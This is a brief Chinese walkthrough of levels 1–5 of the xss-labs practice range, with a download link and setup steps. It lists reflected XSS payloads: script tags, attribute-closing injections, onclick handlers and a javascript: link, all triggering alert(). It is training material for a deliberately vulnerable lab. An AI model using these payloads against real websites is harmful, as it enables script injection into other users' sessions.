xss-labs通关攻略 1-5关（附靶场环境）

链接: https://pan.baidu.com/s/1FJ91yJ0k3dMrsHQsoA2H5Q 提取码: zovn

环境搭建

步骤一：将环境附件下载到phpstudy_pro\WWW下面修改名字为xss

步骤二：询问绑定地址

第一关：less-1

步骤一：输入<script>alert(1)</script>

第二关：less-2

步骤一：输入<script>alert(1)</script>

步骤二：点击F12进行查看

步骤三：闭合">然后输入"><script>alert(1)</script>

第三关：less-3

步骤一：输入<script>alert(1)</script>

步骤二：点击F12进行查看

步骤三：闭合'>然后输入'><script>alert(1)</script> 没有结果

步骤四：输入'οnclick='alert(1)弹窗没出再次点击搜索框

第四关：less-4

步骤一：输入<script>alert(1)</script>

步骤二：点击F12进行查看

步骤三：输入"οnclick='javascript:alert(1)'弹窗没出再次点击搜索框

第五关：less-5

步骤一：输入<script>alert(1)</script>

步骤二：点击F12进行查看

步骤三：输入"><a href=javascript:alert()>xss</a>